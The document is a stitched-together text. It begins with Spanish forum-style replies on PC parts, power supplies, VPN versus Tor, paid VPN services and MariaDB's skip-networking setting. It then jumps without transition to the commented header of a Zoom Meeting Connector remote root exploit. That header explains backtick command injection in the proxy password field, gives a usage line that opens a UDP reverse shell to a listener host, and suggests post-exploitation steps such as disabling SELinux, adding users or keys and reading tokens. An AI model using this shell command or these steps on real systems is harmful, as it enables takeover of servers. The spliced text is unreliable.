La configuración del ordenador la veo bien, aunque todo depende tu presupuesto, lo que te quieras gastar.

Pero es bastante equilibrado en relación calidad-precio, que es lo que casi todo el mundo busca. Un ordenador con los componentes más vendidos suele ser una buena elección. El procesador Amd Ryzen 5 y el SSD Kingston es de lo más ajustado pero que funciona perfectamente. Lo mismo con la placa base, una de las más vendidas.

¿La tarjeta gráfica  GTX 1650, qué marca? Porque hay Gigabyte, Asus, MSI, etc

En teoría no hace falta una fuente de alimentación de 750W para una gráfica GTX 1650, y menos una Corsair te va costar una pasta... aunque yo no puedo decir mucho, porque compré una Corsair RM750 750W 80 Plus Gold

En teoría una GeForce GTX 1650 Super – requiere 20A y 350 vatios (1 x 6 pines).
y una GeForce GTX 1650 – 16A y 300 vatios.

Una Corsair VS450 450W 80 Plus White: vale 40€, una Corsair de 750W más del doble.

No es expectantemente lo mismo una VPN que usar TOR. Elegir uno u otro depende de para que que lo quieras o necesites.

Si, lo normal es usar uno u otro, pero no son lo mismo.

¿Conexión más segura? Depende de lo que entiendas por "segura", si te refieres a privacidad, anonimicidad u otra cosa. Recuerda que cada vez irá más lento, si vas uniendo conexiones, vpn + tor

Quizás en tu caso sería mejor usar una cadena de proxys's.

[skip-networking]

Por defecto es un error aceptar conexiones mysql externas.

Durante unas horas se me olvidó añadir el skip-networking del my.cnf de MariaDB (MySQL)

¿VPN de pago?

- PureVPN
- Surfshark
- NordVPN
- HMA VPN
- ExpressVPN
- CyberGhost
- IPVanish
- TunnelBear
- Hotspot Shield

En teoría una vez conectado a la VPN ya usas los DNS de la VPN también (si está bien configurada).

Entonces la operadora sólo ve que te conectas  a una  VPN y a partir de ahí nada, sólo tráfico cifrado.

# Zoom Meeting Connector Post-auth Remote Root Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# The Meeting Connector Web Console listens on port 5480. On the dashboard
# under Network -> Proxy, one can enable a proxy server. All of the fields
# are sanitized to a certain degree, even the developers noting in the proxy()
# function within backend\webconsole\WebConsole\net.py that they explicitly
# were concerned with command injection and attempted to prevent it:
#
# if ('"' in proxy_name) or ('"' in proxy_passwd):  # " double quotes cannot be used to prevent shell injection
#     is_valid = False
#
# It makes sense to leave some flexibility in the character limits here
# passwords are often expected to contain more than alphanumeric characters.
# But of course that means the Proxy Password field is still vulnerable to
# command injection with the ` character.
#
# The proxy data gets concatenated and written to /etc/profile.d/proxy.sh.
# Every three minutes, a task runs which executes this proxy script as root.
# After submission the dashboard says "The proxy will take effect after the
# server reboot!", but the commands will still be executed within actually
# requiring a reboot. Keep in mind that the commands will be executed blind.
#
# For example, `id>/tmp/proxy_test` given as the Proxy Password will produce
# this in the /tmp/proxy_test file:
#
# uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023
#
# MMR was tested, but Controller and VRC may also be vulnerable
#
# Usage
# > zoomer.py 10.0.0.10 admin xsecRET1 "sh -i >& /dev/udp/10.0.0.11/5555 0>&1"
# login succeeded
# command sent to server
#
# $ nc -u -lvp 5555
# ....
# sh: no job control in this shell
# sh-4.2# pwd
# /root
# sh-4.2#
#
# setenforce 0 if SELinux bothers you, service sshd start and add users/keys,
# check tokens in /opt/zoom/conf/register, check out the local environment, etc.
#
# Dependencies
# - pip install pyquery
